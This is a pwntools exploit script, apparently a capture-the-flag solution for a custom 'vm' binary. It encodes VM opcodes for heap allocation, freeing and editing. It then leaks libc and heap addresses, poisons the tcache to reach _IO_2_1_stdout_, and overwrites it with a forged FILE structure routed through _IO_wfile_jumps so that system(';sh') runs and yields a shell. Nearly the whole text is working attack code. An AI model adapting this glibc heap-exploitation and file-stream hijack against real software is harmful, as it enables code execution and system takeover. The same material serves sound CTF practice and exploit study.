1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| from pwn import *
elf = ELF('../ctf_file/vm') context.binary = elf libc = elf.libc
def start(): if args.R: return remote("",) io = process(elf.path) if args.G: gdb.attach(io, SET_TERMINAL+"b _IO_switch_to_wget_mode\nb puts\nb read") return io def lg(s): return info(f'\033[1;33m{f"{s}-->0x{eval(s):02x}"}\033[0m')
r = lambda a: io.recv(a) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sa = lambda a,b: io.sendafter(a,b) sl = lambda a: io.sendline(a) sla = lambda a,b: io.sendlineafter(a,b)
io = start()
def case(fun1,fun2): return p8((fun2 << 2) | (fun1 & 3))
def set_reg(reg,val): return case(3,3)+p8(reg)+p64(val)
def call_read(fd,offset,size): data = set_reg(0,fd) data += set_reg(1,offset) data += set_reg(2,size) data += case(0,0x35) + p8(0)*2 + p8(0) return data
def call_write(fd,offset,size): data = set_reg(0,fd) data += set_reg(1,offset) data += set_reg(2,size) data += case(0,0x35) + p8(0)*2 + p8(1) return data
def add(size): data = set_reg(0,size) data += case(0,0x33) + p8(0)*2 +p8(3) return data
def free(idx): data = set_reg(0,idx) data += case(0,0x33) + p8(0)*2 + p8(4) return data
def printf(): return call_write(1,18,8)
def edit(idx,size): data = printf() data += call_read(0,0x1000,size) data += set_reg(0,idx) data += set_reg(1,0x1000) data += set_reg(2,size) data += case(0,0x33) + p8(0)*2 + p8(5) return data
def show(idx,size): data = set_reg(0,idx) data += set_reg(1,0x2000) data += set_reg(2,size) data += case(0,0x33) + p8(0)*2 + p8(6) data += call_write(1,0x2000,size) return data
pd = add(0x420) pd += add(0x3f8) pd += add(0x3f0) pd += free(0) pd += show(0,0x6)
pd += free(1) pd += free(2) pd += show(1,5) pd += edit(2,0x10) pd += add(0x3f0) pd += add(0x3f0)
pd += edit(4,0x300)
sla("Please input your opcodes:\n",pd)
libc_base = u64(r(6).ljust(8,b'\x00')) - 0x21ace0 lg("libc_base") key = u64(r(5).ljust(8,b'\x00')) heap_base = key << 12 lg("heap_base") _IO_2_1_stdout_ = libc_base + libc.symbols['_IO_2_1_stdout_'] system = libc_base + libc.symbols['system'] sa("opcodes:",p64(_IO_2_1_stdout_^key))
fake_io_addr = _IO_2_1_stdout_ fake_IO_FILE = b'' fake_IO_FILE += p32(0x01018001)+b";sh\x00" fake_IO_FILE = fake_IO_FILE.ljust(0x50,b'\x00') fake_IO_FILE += p64(1) fake_IO_FILE += p64(system) fake_IO_FILE = fake_IO_FILE.ljust(0xa0,b'\x00') fake_IO_FILE += p64(fake_io_addr+0x30) fake_IO_FILE = fake_IO_FILE.ljust(0xc0,b'\x00') fake_IO_FILE += p64(0) fake_IO_FILE = fake_IO_FILE.ljust(0xd8,b'\x00') fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x10) fake_IO_FILE += p64(0)*6 fake_IO_FILE += p64(fake_io_addr+0x40) sa("opcodes:",fake_IO_FILE)
io.interactive()
|